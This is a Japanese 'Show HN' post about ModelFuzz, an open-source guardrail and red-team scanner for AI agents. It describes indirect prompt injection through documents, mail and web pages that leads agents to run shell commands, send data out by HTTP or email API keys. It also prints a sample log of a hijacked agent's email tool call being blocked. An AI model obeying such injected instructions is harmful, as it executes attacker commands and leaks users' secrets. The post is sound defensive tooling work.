Show HN：ModelFuzz – AIエージェント向けオープンソースのランタイムガードレール

AIエージェントの普及に伴い、そのセキュリティが重要な課題となっています。中でもプロンプトインジェクション攻撃は深刻な脅威です。攻撃者は巧妙に細工された文書、メール、Webページを通じてLLMに間接的に悪意のある指示を注入し、エージェントを乗っ取って任意のコマンド実行やデータ窃取を引き起こします。例えば、shell.runによる任意のシステムコマンド実行、http.postによる機密データの外部送信、send_emailによるAPIキーの漏洩などが可能です。従来の入力フィルターでは完全に防ぐことは難しく、モデルの非決定的な振る舞いがリスクを高めています。

ModelFuzzはこの問題に対処するために開発されたオープンソースのランタイムガードレールフレームワークです。攻撃面と防御面の両方を備えており、攻撃面ではレッドチームスキャナーがOpenAI互換のエンドポイントに対して自動的にプロンプトインジェクションのペイロードを送信し、脆弱性を可視化します。スキャナーはコマンドラインから簡単に実行でき、例えば‘modelfuzz scan --endpoint http://localhost:11434/v1 --model qwen2.5’のように使用します。実行結果はどの攻撃がツール呼び出しを誘発したかを表示し、例えば‘3/5 payloads triggered a tool call’といった形でレポートします。

防御面では、@shield_toolデコレーターをツール関数に適用するだけで、実行前に引数のセキュリティポリシーチェックが行われます。ポリシーはカスタマイズ可能で、例えば機密キーワードの検出や外部アドレスへの送信禁止などを設定できます。もし違反があれば、即座に実行をブロックし、ModelFuzzBlockErrorをスローします。攻撃がリアルタイムで阻止される様子はログに記録されます。例えば、プロンプトインジェクションされたエージェントがAPIキーを添付したメールを送信しようとした場合、ModelFuzzは以下のように介入します。

[🤖 LLM DECISION] The model was tricked by prompt injection! [🤖 LLM ARGUMENTS] {"to": "[email protected]", "body": "secret API_KEY sk-12345"} [🛡️ MODEL FUZZ] Intercepting tool execution... ✅ MODEL FUZZ BLOCKED THE ATTACK! Reason: String contains sensitive keyword: 'secret'

このように、詳細な監査ログが残るため、セキュリティチームは攻撃の試みを簡単に分析できます。

さらに、チーム向けのホスト型ダッシュボード（現在ウェイトリストで早期アクセス受付中）では、集中ポリシー管理、監査ログの確認、継続的なエージェントスキャンが可能で、大規模な運用にも対応します。

ModelFuzzはオープンソースで提供されており、GitHub上でコードが公開されています。誰でも自由にダウンロードして評価・カスタマイズでき、AIエージェントのセキュリティ向上に貢献できます。早速導入して、エージェントの安全性を強化しましょう。